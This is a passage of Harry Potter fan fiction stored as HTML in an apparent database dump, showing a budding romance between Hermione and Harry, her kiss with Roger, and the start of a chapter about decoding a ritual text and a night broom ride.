&quot;I would have told you if you weren&#8217;t activity avoiding us.&quot; Harry spat back at me.</p>\n\n<p>	&quot;She&#8217;s been busy with Prefect duties. We are planning arrangements for Christmas.&quot; Roger briskly answered with a slight commanding tone.</p>\n\n<p>	&quot;She&#8217;s seems to be busy with you a lot Roger. Angelina doesn&#8217;t even see you as much as Mione.&quot; Ron gripped his fist tightly on top of the wooden table.</p>\n\n<p>	&quot;We handle different duties Ron. We have many responsibilities. Hermione you should explain to them how much you have too do.&quot; Roger placed his arm around my chair.</p>\n\n<p>	&quot;She has explained Roger. From what she has told me, it&#8217;s the Headboy and girl who distribute their duties. Maybe she would not be as busy if you let her relax once and while.&quot; Harry snapped leaning his body over the table.</p>\n\n<p>	&quot;I was not aware I was the one causing her grief.&quot; Roger narrowed his eyes at Harry.</p>\n\n<p>	&quot;Well I know I&#8217;m not the only one,&quot; Harry equally glared back not showing any retreat. <i>Is it just</i>\n\n<i>me or is everyone staring at us?</i> I glanced around to see that everyone was. <i>Great more gossip to fuel the</i>\n\n<i>mindless people</i>. <i>Why are boys always so riled up? I should have known when three males surround you. The red siren of male testorone should have gone off.</i></p><i>\n\n</i><p>	&quot;I&#8217;m sure Hermione can handle her own priorities.&quot; Remus awkwardly laughed. &quot;So Hermione, I hear you are going to be an older sister. Have you thought of any names?&quot; He raised his voice taking control of the conversation. <i>I knew I like Remus for a reason</i>.</p>\n\n<p>	&quot;Actually I was thinking of a few names. I have always like the names Steven, Jack, or Nathan.&quot; I listed the names off. &quot;But my favorite name is Dante,&quot; I recalled my favorite muggle book.</p>\n\n<p>	&quot;Those are great names. I&#8217;m sure whatever it is, he&#8217;ll be as smart as his sister.&quot; Remus winked at me, and I blushed from the comment.</p>\n\n<p>	&quot;How is Snuffles? Has he contacted you in awhile? I have not heard anything about him for a long time.&quot; Before he answered he paused to look at Roger. Roger sensing that our evening was pretty much over, decided to leave. </p>\n\n<p>	Standing up he said, &quot;Hermione, I&#8217;m going to head back early. I have some papers I still should work on. I&#8217;ll talk to you tomorrow. Remus it was good to see you again.&quot;</p>\n\n<p>	&quot;Likewise,&quot; Remus replied with relief.</p>\n\n<p>	&quot;Harry, Ron, I&#8217;m sure we will talk later.&quot;</p>\n\n<p>	&quot;Bye,&quot; they snipped towards him. Roger lifted my hand and gave a quick kiss. Then he left me, to fend against Big head 1 and 2. </p>\n\n<p>	&quot;What a gentlemen he is?&quot; Ron muttered to himself. I chose to ignore his comment and direct my attention back to Remus.</p>\n\n<p>	&quot;Snuffles is fine. He is staying at my place. He is getting plenty of rest.&quot; <i>Good, one less worry.</i></p><i>\n\n</i><p>	&quot;Wonderful, I was getting worried about his well being.&quot; I wrapped my jacket tighter around me. &quot;So why are you really here? I know it is more then a friendly visit.&quot;</p>\n\n<p>	&quot;Happy to know you are still so keen. Has Harry given you that note?&quot; Remus eyes turned to Harry.</p>\n\n<p>	&quot;Yes I gave it to her awhile ago,&quot; he shifted in his seat from my own stare.</p>\n\n<p>	&quot;I&#8217;ve been working on it Remus. Is it really urgent? I can try harder translating it.&quot; <i>I knew I should have worked harder on it.</i></p><i>\n\n</i><p>	&quot;Oh, take your time. We want it to be precise.&quot;</p>\n\n<p>	&quot;I&#8217;ll make sure it will be,&quot; I started coughing uncontrollable.</p>\n\n<p>	&quot;Mione are you okay?&quot; Ron stood in concern.</p>\n\n<p>	&quot;Ron go get some water,&quot; Harry gave a slight shoved to Ron. &quot;Hermione sit down. Ron will get you your water.&quot; He swiftly moved beside me. <i>My head hurts</i>. &quot;Your hands are freezing.&quot;</p>\n\n<p>	&quot;Mione drink this,&quot; Ron handed me a hot cup of water.</p>\n\n<p>	&quot;Harry why don&#8217;t you bring Hermione back,&quot; Remus directed to Harry.</p>\n\n<p>	&quot;I&#8217;m fine. I just have a little headache.&quot; I persisted to them.</p>\n\n<p>	&quot;I was going to Remus. How about we meet tomorrow?&quot; Harry ignored my comment and stared pulling towards the door.</p>\n\n<p>	&quot;Sounds like a plan. Get some rest Hermione.&quot; Remus then walked towards the back of the room.</p>\n\n<p>	&quot;I&#8217;m going to find Ginny and tell her what happened.&quot; Ron walked the opposite direction as Harry and I moved towards the carriages. The late afternoon was slowly disappearing with the moon already high in the sky. Harry&#8217;s quick pace made the cold air harsher, crashing into my face. I tried calming my nerves by breathing in and out. My head was spinning and I felt disconnected from my body. I began coughing and Harry suddenly stopped walking. My body still in motion impacted with his. Spontaneously he held me around my waist drawing me closer to his body heat.</p>\n\n<p>	&quot;Your shivering,&quot; he wrapped his robe engulfing the both of us. &quot;Come on you will be warmer once we&#8217;re in side.&quot; We settled in the carriage and my body shivered less yet the pounding still continued in my head. Soon everything seemed to turn foggy and I could barely hear Harry&#8217;s comforting murmurs. We arrived and I felt his direction towards the Tower.</p>\n\n<p>	&quot;Nene can you walk up the stairs by yourself?&quot; He cupped my chin trying to catch my attention.</p>\n\n<p>	&quot;No,&quot; I forced my weak voice to say. Not caring if I was still mad at him, he easily lifted me into his arms. Once we reached my bed, he gently set me on my bed. </p>\n\n<p>Holding my hand, he kissed my knuckles and whispered, &quot;I&#8217;m sorry.&quot; I had no power over my stubbornness and his soothing hands rubbed my painful temples.</p>\n\n<p> &quot;I know Harry. I just wish you can tell me what&#8217;s happening.&quot; </p>\n\n<p>	&quot;I want to but not now. Sleep Nene, we&#8217;ll fix this later.&quot; He pulled the blanket over me. As he was moving away, I felt all the warmth left my side.</p>\n\n<p>	&quot;Harry,&quot; I called out with a needing tone.</p>\n\n<p>	&quot;Yes,&quot; he turned back staring at me.</p>\n\n<p>	&quot;I&#8217;m cold.&quot; <i>Don&#8217;t go</i></p><i>\n\n</i><p>	&quot;I&#8217;ll get you more blankets.&quot; <i>No</i></p><i>\n\n</i><p>	&quot;No, I don&#8217;t need blankets. I just need you.&quot; Being so tired I started crying from pain and exhaustion. He swiftly moved back besides holding my reaching hands. &quot;Harry please stay, I&#8217;m cold when you leave.&quot; I moved giving him space on my bed. Harry then lay beside me, bringing me closer into his arms. &quot;Much better,&quot; I placed my head on his chest.</p>\n\n<p>	&quot;Sleep Nene,&quot; he gave small kisses in my hair.</p>\n\n<p>	&quot;Promise you will be here later.&quot;</p>\n\n<p>	&quot;Always,&quot; then I drifted off feeling content with everything around me.</p>\n\n<p>	I woke hearing the steady heart beat below me. It sounded like hollow drums calling for a master. The music of life, which Grandpa Patrick would say to me. I always love listening to heartbeats. It&#8217;s so fascinating how a tiny muscle could keep people alive. With out its movement all life would cease to existence. Funny how the smallest things seem the most important. <i>But I know I should move. I know this</i>\n\n<i>is</i>\n\n<i>wrong for him to be here. But I know I need this moment to last</i>. </p>\n\n<p>Sighing I lifted my upper body, slipping out his embrace. Staring at his tranquil face, I realized he was still asleep. His eyes flickered continuously indicating that he was still dreaming. He had a sweet grin, which just made him look adorable. I brushed aside his unkempt hair, revealing the famous mark. Curiously I trailed my finger over the lightening bolt. My finger slowly traveled down his forehead, over his noise, then near his lips. </p>\n\n<p>	As I descended on top of his mouth, his hand stopped my action. I quivered by his awareness and guilty looked away. I felt his hot breath on my finger while he guided it towards his cheek. Pressing my hand on his face, I felt how smooth it was. He kept staring at me like I was going to disappear. Nervously I tucked my hair behind my ear.</p>\n\n<p>	&quot;You still should be sleeping.&quot; Harry jolted me back on to the bed. With full force, I hit the covers causing a thump sound.</p>\n\n<p>	&quot;Harry I&#8217;m not tired anymore.&quot; I tried moving up. He grabbed both my arms, pinning them down. Suddenly he was staring down towards me, with a look I have never seen before. Our breathing quicken and I was losing all my senses. All I could think of was how good he smelled.</p>\n\n<p>&quot;Me neither,&quot; he hoarsely answered licking those gorgeous lips.</p>\n\n<p>	&quot;Maybe we should talk then?&quot; I anxiously stuttered out.</p>\n\n<p>	&quot;Later,&quot; he moved his head closer to me. Nervously I moved my head, adjusting it to the side. This lead to Harry&#8217;s mouth landing on top of my earlobe. <i>Why did I move?</i> Slowly he nibbled on my ear, like treasured candy. Unconsciously I mutter at his amazing gesture. His arms descended down my side, and I giggled at how sensitive his touch was. His left hand shifted beneath my head while his right rubbed my lower back. &quot;Have I ever told you how great your ears are?&quot; He whispered then continued his nibbling.</p>\n\n<p>	&quot;No,&quot; I said out loud. <i>I think I&#8217;m in heaven</i>. Then he started sucking on my ear, and I lost all control over my thoughts. He left my ear to the side of my neck. <i>I wanted him to stay there</i>. The hot moisture hit the cool air, making me shiver. He sensed my protest because he returned to my ear. &quot;Harry?&quot; <i>Please don&#8217;t stop.</i></p><i>\n\n</i><p>	&quot;Nene,&quot; he moved my head, attacking my other ear.</p>\n\n<p>	&quot;What are we doing?&quot; I wrapped my arms tighter around him. </p>\n\n<p>	&quot;I don&#8217;t know,&quot; I slowly brushed his back. He started placing kisses along my neck. &quot;Do you want me to stop?&quot;</p>\n\n<p>	&quot;Are you crazy?&quot; He chuckled. <i>I said that out loud.</i></p><i>\n\n</i><p>	&quot;Good, because I&#8217;m not ready too.&quot; He devilishly answered. <i>What is he up too?</i> Then I got my answer when he started sucking on my neck.</p>\n\n<p>	&quot;Harry,&quot; I screamed sharply shocked by his action. <i>This feels way to good</i>. <i>I thought Victor was</i>\n\n<i>good. Harry is so much better. Wait a second. My best friend is giving me a hickey. </i>&quot;Harry maybe we should,&quot; before I could continue, he sucked harder. I started murmur incoherent words and fiddle with his hair. Finally after a lifetime, he pulled away from his task. Focusing back I saw how flushed his face was. He had taken off his green sweater revealing a black button up shirt. The top three were left unbutton, revealing a tiny bit of his chest. His eyes were slightly glazed and small beats of sweat on the side of his face. <i>I wonder how I look?</i> Feeling utterly hot, I moved away leaning against the bed. <i>So what do you do</i>\n\n<i>now?</i> He sat up opposite of me. The silence returned and I blushed rapidly. <i>He just gave me a hickey. We haven&#8217;t even kissed yet. He gave me a hickey. I can&#8217;t believe he gave me a hickey. </i></p><i>\n\n</i><p>	&quot;So are you feeling uncomfortably or is it just me?&quot; I tried saying with a humorous tone.</p>\n\n<p>	&quot;A little,&quot; he placed his hand over mine. &quot;Sorry, I shouldn&#8217;t have don&#8217;t that.&quot; He looked away ashamed of himself. <i>Why?</i></p><i>\n\n</i><p>	&quot;Don&#8217;t be,&quot; I quickly answered. His eyes sparkled with intensity. &quot;I would have stopped you if I didn&#8217;t want you too.&quot; I bowed my head down not wanting him to see my embarrassed face.</p>\n\n<p>	&quot;I guess we both needed that,&quot; he lifted my chin. Staring back at his green eyes, I knew it was different between us now. I don&#8217;t think I could ever look at him with out wanting to kiss him senseless.</p>\n\n<p>	&quot;Please kiss me?&quot; I spoke and his eyes burned with passion. <i>Why do I keep saying things out</i>\n\n<i>loud?</i> I was incredibly red and I casted my eyes away. He let out a strong laugh and crawled closer to me.</p>\n\n<p>	&quot;Anything you want Nene,&quot; his lips descended near mine. But as some cruel humor by fate my stomach growled. <i>There goes that moment</i>. We both laughed and he pulled away. Yet this time the interruption didn&#8217;t cause any unwanted tension. Infact I haven&#8217;t felt this happy in a long time.</p>\n\n<p>	&quot;I guess I&#8217;m hungry,&quot; I rubbed my stomach.</p>\n\n<p>	&quot;Come on Nene, let&#8217;s put some food into your system.&quot; Harry jumped out of the bed and strolled towards the door. <i>Not without a kiss Harry Potter</i>. I leaned on my bedpost and called out his name.</p>\n\n<p>	&quot;Harry, you still haven&#8217;t given me that kiss.&quot; I batted my eyelashes and licked my lips. In one action I was in his arms hovering below his lips. He drew me closer and uttered, &quot;Maybe later.&quot; Then he left me in a state of shock. <i>What! I can&#8217;t believe he left me like that.</i></p><i>\n\n</i>\n\n<p>	&quot;Mione are you sure you&#8217;re all right? Ginny&#8217;s in the Hospital Wing training if you need a check up?&quot; Ron questioned while the three of us walked in the early Sunday corridors.</p>\n\n<p>	&quot;Ron, I&#8217;m fine. I feel much better from yesterday.&quot; I fiddle with my hands while quickening my pace.</p>\n\n<p>	&quot;Then why are you wearing a turtleneck? You never wear them.&quot; He loomed over me. I started blushing from yesterday&#8217;s incident and Harry grin automatically. &quot;Now your cherry red.&quot; He placed his hand on my forehead.</p>\n\n<p>	&quot;Ron, she&#8217;s fine. I&#8217;m positive that it is not her health causing her to blush.&quot; Harry swung his arm around Ron.</p>\n\n<p>	&quot;What is it Harry? I know you have an idea with that smile of yours.&quot; Ron started using his whining voice.</p>\n\n<p>	&quot;Ron sometimes girls do certain things for certain reasons.&quot; Harry winked and laughed to himself. <i>Oh I&#8217;ll get him later.</i>\n\n</p>\n\n<p>	&quot;What,&quot; Ron still incredibly confused.</p>\n\n<p>	&quot;Ron forget it. We are going to be late in meeting Remus and Professor Figgs.&quot; I grabbed his hand and dragged him along.</p>\n\n<p>	&quot;Why does Ron get to hold your hand?&quot; Harry called from behind us.</p>\n\n<p>	&quot;Because Ron doesn&#8217;t say stupid things,&quot; <i>besides I&#8217;m not peeved with him</i>. &quot;And you&#8217;re deliberately being annoying.&quot; We reached the classroom with the door still closed.</p>\n\n<p>	&quot;I was just stating the facts.&quot; Harry answered innocently.</p>\n\n<p>	&quot;You know what you said Harry Potter.&quot; I started squeezing Ron&#8217;s hand in anger.</p>\n\n<p>	&quot;Mione,&quot; he pulled away. &quot; Are your knickers to tight or is it some pent up frustration?&quot; He knocked on the door, stepping away from me.</p>\n\n<p>	&quot;No,&quot; I flared my nostrils. &quot;You two just like to pick on me.&quot;</p>\n\n<p>	&quot;Who is picking on you?&quot; Remus opened the door to us. His eyes gleamed in humor at my flushed face and their innocent smiles.</p>\n\n<p>	&quot;They are,&quot; I stormed into the room with Professor Figgs pouring tea into five cups.</p>\n\n<p>	&quot;Hello Hermione, how are you?&quot; She asked sweetly unaware of my vexation.</p>\n\n<p>	&quot;Fine,&quot; I irked crossing my arms. <i>He can be so annoying. Why am I so mad? Because he was teasing you about the turtleneck. You mean because he didn&#8217;t kiss you. Oh be quiet.</i></p><i>\n\n</i><p>	&quot;Good morning boys,&quot; Professor Figgs greeted them with her eyebrows raised.</p>\n\n<p>	&quot;Morning Professor,&quot; they casually replied sitting next to my tense body. &quot;Well Hermione I know you probably have a lot of questions, so we decided to try our best and answer them today.&quot; Professor Figgs delicately sat besides Remus across from us. She had wavy blonde hair today that framed her rounded face. She appeared to be around Remus age and her blue eyes twinkled towards us. &quot;Harry and Ron informed me you found some of their injuries.&quot;</p>\n\n<p>	&quot;Yes, I&#8217;m concerned about them.&quot; I moved away from Harry&#8217;s nearness. &quot;Why are you still here Remus?&quot; </p>\n\n<p>	&quot;I&#8217;m here to report some recent events and visit Arabella.&quot; He smiled towards her. &quot;We were in the same class.&quot;</p>\n\n<p>	&quot;Did you know the Maudarer&#8217;s then?&quot; I asked Professor Figgs.</p>\n\n<p>	&quot;Yes, they were a memorable group.&quot; She winked devilishly. &quot;Harry maybe you should explain what has been happening.&quot; </p>\n\n<p>	&quot;Sure,&quot; he cleared his throat. &quot;Well Professor Figgs and Charlie have been training us in defense.&quot;</p>\n\n<p>	&quot;Why?&quot;</p>\n\n<p>	&quot;To prepare us against Death Eaters and Voldemort.&quot; Ron flinched at his name.</p>\n\n<p>	&quot;Is it just Ron and you?&quot; I twisted my head between them.</p>\n\n<p>	&quot;No, Professor Dumbledore asked other students as well.&quot; Harry moved his head away from me.</p>\n\n<p>	&quot;Oh,&quot; <i>why wasn&#8217;t I asked?</i></p><i>\n\n</i><p>	&quot;What Harry means is people, who we thought need more training?&quot; Remus replied instantly sensing my sadness.</p>\n\n<p>	&quot;You&#8217;re a very talented witch Hermione. We are focusing on advancing their abilities. You&#8217;re a very advance witch. Many of us decided to wait for others in their training before informing you.&quot; Professor Figgs said reassuringly.</p>\n\n<p>	&quot;So these past months you have been only training?&quot; They all nodded simoustenously. &quot;Then what was the major problem? Why couldn&#8217;t you tell me, if you were going to in the future?&quot; I specifically asked Harry and Ron. </p>\n\n<p>	&quot;We wanted too Mione. But I couldn&#8217;t say anything.&quot; Ron looked to Harry then away from me.</p>\n\n<p>	&quot;And why not?&quot; I placed my hand on his shoulder. <i>Please tell me Ron</i>.</p>\n\n<p>	&quot;We all swore to secrecy.&quot; He nervously stuttered out.</p>\n\n<p>	&quot;Ron, you are telling me now. Who told you not to tell me?&quot; I kept persuading him. <i>He usually gives in to my pleas.</i></p><i>\n\n</i><p>	&quot;Hermione it was a secret. But we are telling you now so it doesn&#8217;t matter who told us not too.&quot; Harry said relieving Ron from my attention. Before I could interrupt Professor Figgs intercepted my voice.</p>\n\n<p>	&quot;Hermione we are telling you now because we all believe you should have the right to know. You have been working very hard on translating and we know you would have many questions about it.&quot;</p>\n\n<p>	&quot;So no more hiding? You will tell me the truth from now on.&quot; </p>\n\n<p>	&quot;Yes,&quot; Harry firmly answered. <i>Then why do I still feel your hiding something?</i></p><i>\n\n</i><p>	&quot;Well I should be off, I promised Padfoot I would be back today.&quot; Remus gently kissed Professor Figgs on the cheek. &quot;I&#8217;ll owl you when I hear more news.&quot; She blushed shyly at his tender tone. </p>\n\n<p>	&quot;Do you want me to walk with you?&quot; She placed her hand his shoulder.</p>\n\n<p>	&quot;No, you still have work to do. Besides I have Harry and Hermione to join me.&quot; <i>What about Ron?</i></p><i>\n\n</i><p>	&quot;What about Ron Harry?&quot; I whispered to him trying not to interrupt the imitate conversation the two adults were sharing.</p>\n\n<p>	&quot;He has to train with Professor McGonegall.&quot; <i>Other teachers are training as well.</i></p><i>\n\n</i><p>	&quot;But I thought you said Charlie and Professor Figgs were training you two.&quot;</p>\n\n<p>	&quot;They are with main combat but we need to work on other aspects of magic as well.&quot; he recited like a teacher lecturing a child. <i>I wonder how many times he has heard that phrase</i>.</p>\n\n<p>	&quot;Shot I got to go before McGonegall turns me into a cat. Bye Harry, Mione thanks for not being to mad.&quot; I only nodded, still not sure how I felt at the moment. &quot;Remus take care, be safe.&quot; Ron patted the older man, and smiled sadly at the Professor then left in a blazing hurry.</p>\n\n<p>	&quot;I think that&#8217;s my cue to leave also.&quot; Remus gazed not moving away from Professor Figgs.</p>\n\n<p>	&quot;Remus, Hermione and I will be waiting outside.&quot; Harry took my unwilling hand and pulled me out the classroom.</p>\n\n<p>	&quot;Harry I don&#8217;t need you holding my hand like a 5 year old.&quot; I tugged my fingers from his tight palm.</p>\n\n<p>	&quot;Well if you were observant to their behaviors, I wouldn&#8217;t have to treat you like one.&quot; He reached his hand out.</p>\n\n<p>	&quot;What are you talking about?&quot; I shifted aside from his touch.</p>\n\n<p>	&quot;Nene their lovers.&quot; He advanced closer to me. <i>Why I would have never pictured those two an item.</i></p><i>\n\n</i><p>	&quot;I didn&#8217;t notice.&quot; I found myself impacting with the stone wall.</p>\n\n<p>	&quot;Sometimes you don&#8217;t notice things when it comes to affection.&quot; His arms raised trapping me in between him.</p>\n\n<p>	&quot;You know I have always look for straight forward answers.&quot; I gulped a dry lump in my throat.</p>\n\n<p>	&quot;Yes, I know you do.&quot; Once again his hand touched my cheek<i>. Suck it up and ask Granger.</i></p><i>\n\n</i><p>	&quot;So are you going to give me one?&quot;</p>\n\n<p>	&quot;You haven&#8217;t asked a question.&quot; His hand traveled down fiddling with my turtleneck.</p>\n\n<p>	&quot;Are you trying to be pompous today?&quot; I shoved his teasing touches.</p>\n\n<p>	&quot;Your still mad at me.&quot; He grinned happily. &quot;I have no idea I could effect you this much.&quot; His persistent hand reached my lower back forcing me to collide with him.</p>\n\n<p>	&quot;Only when you&#8217;re annoying Potter, and lately that has been your status.&quot;</p>\n\n<p>	&quot;I&#8217;ll remedy that later on,&quot; he blew into my ear causing ripples of exciting sensations down mine spine. <i>That felt way to good.</i>\n\n</p>\n\n<p>&quot;Remus promise to owl me when,&quot; Harry acted like nothing happened between us. He and Remus trudged along and I glowed madly at my own imagery thoughts. <i>What was Harry going to do?</i></p><i>\n\n</i><p>	</p>\n\n<p>	&quot;Sorry I had you do this tonight. I know how you asked not to patrol on Sundays.&quot; Roger walked with me in the cold winter halls.</p>\n\n<p>	&quot;Roger it&#8217;s fine. Besides I really had nothing to do tonight.&quot; <i>Except stare at Harry and wonder what he is doing.</i></p><i>\n\n</i><p>	&quot;So I didn&#8217;t cut time between you and Harry? I mean Sunday is when you two always walk around the lake.&quot; His voice had a cutting edge, especially when he said Harry.</p>\n\n<p>	&quot;Roger do you have a problem with Harry?&quot; I asked in a short temper manner. I really don&#8217;t need attitude from him too. I already have enough of that from Ron. On top of that I have a very bipolar Harry. One minute he&#8217;s affectionate, the next he&#8217;s plain old Harry.</p>\n\n<p>	&quot;Not with him personally but I know he is competition.&quot;</p>\n\n<p>	&quot;What are you talking about?&quot; I threw my arms up in frustration.</p>\n\n<p>	&quot;Hermione I know there is more between you and Harry then just friends.&quot; He sadly answered. &quot;But I still don&#8217;t want to give up on a chance to be with you.&quot; <i>Why can&#8217;t Harry be like you?</i> His hand reached out to hold mine with hope shining in his eyes. &quot;Honestly is there a chance?&quot; I looked into his warm brown eyes and a flicker of despair was seen.</p>\n\n<p>	&quot;Kiss me,&quot; I vaguely said to him.</p>\n\n<p>	&quot;Pardon,&quot; he gaped in shock.</p>\n\n<p>	&quot;Kiss me,&quot; I moved forward pressing my hand on his chest. Without asking twice, his lips laid on mine softly. <i>He&#8217;s not like Victor who had tentative kisses. Though Harry hasn&#8217;t kissed me, his touches</i>\n\n<i>don&#8217;t make me shake all over</i>. Since I had not pulled away, Roger placed his arms around my back. Deepen his kiss, I felt him place all his energy in to the action. Then I felt it, he was comforting. His touch always the same. His attitude never wavering. He gave me direct answers. <i>Would it be bad of me to choose him?</i>\n\n<i>Would I betray Harry? Pulling away I looked into those same brown eyes and felt safe.</i></p><i>\n\n</i><p>	&quot;Even if I never have a chance with you, I will remember that kiss as long as I can.&quot; <i>Comments like that make me want to give you a chance.</i> &quot;Thank you,&quot; he stated and started walking away. Don&#8217;t ask me why but something clicked. The thought of him leaving me made me sad. I know he&#8217;ll never be Harry but he was reliable.</p>\n\n<p>	&quot;Roger I thought you said you would wait for me.&quot; I called to him with sheer nervousness. &quot;I didn&#8217;t think you would back down from your promise.&quot; He stopped and I saw pure joy in his smile. <i>I always like his smiles.</i></p><i>\n\n</i><p>	&quot;I don&#8217;t plan to anytime soon.&quot;</p>\n\n<p>	&quot;Goodnight,&quot; I fidgeted with my dark blue sweater.</p>\n\n<p>	&quot;Goodnight, sweet dreams,&quot; he place a small kiss on my forehead then walked away.</p>\n\n<p>	&quot;I thought you said you didn&#8217;t like him.&quot; A dark figure said from the shadows of the hall. Calming my nerves from fright, I peered closer to see the lurking body. </p>\n\n<p>	&quot;No I said I wasn&#8217;t sure how I felt about him. Besides why should it matter to you?&quot; I marched away not wanting to see those piercing green eyes.</p>\n\n<p>	&quot;Of course it matters to me.&quot; Harry gripped my wrist, halting my forward motion. Stepping behind me, his breath hit my ear. &quot;Did you like it when he kissed you?&quot;</p>\n\n<p>	&quot;Are you spying on me?&quot; I hissed threw my teeth.</p>\n\n<p>	&quot;Yes,&quot; he pressed closer making my distraction increase rapidly. &quot;What&#8217;s your answer?&quot; <i>Stop thinking about how good he smells.</i></p><i>\n\n</i><p>	&quot;I have nothing to compare it too.&quot; I twisted my head, sneaking a glance at his face. His jaw was locked, which only happened when he wanted to say something.</p>\n\n<p>	&quot;Then find someone to compare it too,&quot; he let go. <i>Oh you&#8217;re not doing this to me again</i>.</p>\n\n<p>	&quot;Harry James Potter, if you don&#8217;t stop right there, I will never speak to you again.&quot; I bellowed placing my hands on my hips. His newly acquired smirk appeared while he casually leaned against the wall. </p>\n\n<p>	&quot;Why do you want me to stop?&quot;</p>\n\n<p>	&quot;I thought you said you wouldn&#8217;t be pompous anymore.&quot;</p>\n\n<p>	&quot;Yes but then you had Roger fix that for me.&quot;</p>\n\n<p>	&quot;Well if you fix it in the first place, I wouldn&#8217;t have asked him.&quot; Then I received the same look, which made me into Jell-O. It was so intense that it made it hard to breathe. <i>Calm down</i>. &quot;Your not going to do anything unless I ask.&quot; I realized with pure fatigue. </p>\n\n<p>	&quot;Yes,&quot; he lowered his head in defeat. <i>So the weight of our friendship is on my shoulder</i>. As silence fell between us, thoughts swirled in my head. <i>Should I do it? What would happen afterwards? All these years and it would change drastically. Am I ready? Is he ready? What would happen if it didn&#8217;t work? He deserves someone much better. I&#8217;m just Hermione. But he&#8217;s your Harry.</i></p><i>\n\n</i><p>	&quot;Harry that is a very hard question to ask.&quot;</p>\n\n<p>	&quot;I know,&quot; he lifted his bowed head. I opened my mouth ready to speak when he pressed his hand to stop me. &quot;Nene not yet. These past few days have been very emotional for you. I want you to really think about this. Guys like Roger will come in and out of your life. You might even want a relationship with a couple of them. But Nene what we have will always be here.&quot;</p>\n\n<p>	&quot;Maybe I don&#8217;t want anything else but you.&quot; I pulled his hand down, stepping closer to him.</p>\n\n<p>	&quot;So are you going to ask?&quot; <i>A.k.a. are you ready?</i></p><i>\n\n</i><p>	&quot;Later,&quot; then I moved my head up reaching those beautiful lips. I gently touched with hopes of him deepen it but he still stood motionless. Disappointed I retreated away, turning my eyes from his blank face. <i>Well don&#8217;t I feel stupid</i>.</p>\n\n<p>	&quot;Why did you do that?&quot; My eyes started forming moisture around the rims. &quot;Now I&#8217;ll never be able to stop.&quot; He quickly closed our gap and placed those lips on me again. This time it was like a blazing inferno rushing all over my body. No dream or fantasy could ever replace the feeling of his hungry mouth against mine. He immersed his arms around me. Our bodies molded into one, and we lost each other into our kisses. Finally needing air, we pulled away revealing very flushed faces. Slowly I breathe letting the cold air reach my lungs.</p>\n\n<p>	&quot;So you&#8217;re not mad at me anymore.&quot; Harry grinned widely.</p>\n\n<p>	&quot;Only if your not annoying to me,&quot; I pressed my head to his chest.</p>\n\n<p>	&quot;You doing that makes me want to kiss you again.&quot; His arms still rested beside my hips.</p>\n\n<p>	&quot;Harry be serious.&quot;</p>\n\n<p>	&quot;I always am because you&#8217;re so beautiful.&quot; <i>Why can&#8217;t he be sweet all the time?</i> Blushing I stepped away from his tight embrace. </p>\n\n<p>	&quot;We should head back. I still want to go over my notes and I want to relax in front of the fire.&quot; I started to stroll along towards the Gryffindor Tower. Harry quietly walked next to me, occasionally touching my hand with his.</p>\n\n<p>	The rest of our night was spent in the company of our fellow classmates. Everyone seemed occupied with his or her own activities to notice my beat red face. Ron was playing chess with George while Fred and Angelina snuggled on the couch. Ginny argued with Lavendar and Pavarti about Charlie, with Dean, Seamus, and Neville laughing at Ginny&#8217;s disgusted expressions. I quietly read facing the warm fire with Harry lying in front of me. His right arm was placed behind his head, while his eyes were close. Anyone looking would think he was sleeping but his other hand carefully massaged my calves. I smiled sweetly knowing that we had an unspoken relationship.</p> '),
	(239, 12, ' <p>Disclaimer: No still not mine.</p>\n\n<p>Hi everyone, well here is the next chapter. I warn you now; there is a lot of H/H fluff. I was in the romantic sappy mood, so it came out in my writing. Also you all learn a little secret that Hermione has as well. So read up and I hope to here your comments. Thanks for reading and enjoy!</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<b><p>The Middle of Understanding</p>\n\n</b><p>Chapter 11</p>\n\n<b><u><p>Blissful Time</p>\n\n</u></b><p></p>\n\n<p>	<i>Lotus roots, potions, hour, and none of these makes any sense. Think Granger. It\'s just decoding words and their meaning. Well, obviously we have established the structure. What am I missing?</i></p><i>\n\n</i><p>	&quot;When Remus told you to work on this, he didn&#8217;t say lock yourself in the library.&quot; Harry flopped beside me in the back corner. </p>\n\n<p>	&quot;Harry, I have been working on this for two weeks straight, and I still have no idea what it means.&quot; I tossed my translated notes in frustration.</p>\n\n<p>	&quot;Well, what do you have now?&quot; He pulled the parchment closer, while rubbing my stiff neck. &quot;The year of growth is all it needs. The lotus blooms when the time is ripe. At the hour the roots are placed, forming man made creation. The body and soul connects with the potion of growth. With the blood of your kin, the liquid flows down your skin. As the minutes pass you regain what you lost. Death and disease effect you not, and enemies fear you strength and immorality.&quot; He ended his fake bass tone. &quot;Interesting poem, sounds like a ceremony of some kind.&quot;</p>\n\n<p>	&quot;I think it&#8217;s a reawaken ritual. But it still doesn&#8217;t make much sense.&quot; I rubbed my eyes tired from my heavy concentration.</p>\n\n<p>	&quot;Take your time Nene, I don&#8217;t want you getting sick again. Come on, you need to relax,&quot; Harry shoved my books and notes into my bag.</p>\n\n<p>	&quot;Harry it is near curfew. Flinch will have our heads.&quot; Uselessly I was dragged out the library without a possible retreat. He finally let go of my hand when we reached the Quidditch field. The chilly December air blew quiet winds causing goose bumps along my arms. The stars shined brightly flashing in a fortuitous manner. The moon was framed in the night sky illuminating a beautiful pearl white color. Every step taken by us sunk into the moist grass, uncut from early frost. I wrapped my robe tighter around myself, wondering what Harry was up too. I glanced to see him try and hide a smirk. He dropped my heavy bag on the ground and turned staring straight at me.</p>\n\n<p>	&quot;Do you trust me?&quot; He asked in an unusually deep tone.</p>\n\n<p>	&quot;I don&#8217;t remember when I didn&#8217;t&quot; </p>\n\n<p>	&quot;Close your eyes,&quot; he grinned with an eager manner. I did, then I felt him walk behind me and whisper the word accio. A quick breeze then swept by me. Before I could sneak a peek, Harry clamped his hand over my eyes. Suddenly, he pulled me on to his broom and we flew off into the air. I screamed in shock and tighten my eyes in fright. Sensing my fear, Harry pressed closer, allowing me support against his body. I gripped the broom with all my might, praying to Merlin I would not fall. Then I heard Harry laugh at my frightful expressions. </p>\n\n<p>	&quot;Nene I thought you trusted me.&quot; Harry cooed into my ears. &quot;Open your eyes, it&#8217;s gorgeous out.&quot; <i>Granger you can do it.</i> Slowly I opened my eyes, to see that we were hundreds of feet in the sky. <i>I don&#8217;t</i>\n\n<i>think I can</i>. I automatically shut my eyes from my fear of falling. &quot;Relax Nene, I&#8217;m here.&quot; Harry placed his arms around me. Again I opened my eyes to notice how high above the world we seemed. Few lights were left burning in Hogwarts, creating a romantic atmosphere around the ancient castle. From the distance I saw the dim street lights of Hogsmeade with few creeping figures walking along. </p>\n\n<p>	&quot;It&#8217;s amazing.&quot; I said awed by the starry winter night.</p>\n\n<p>	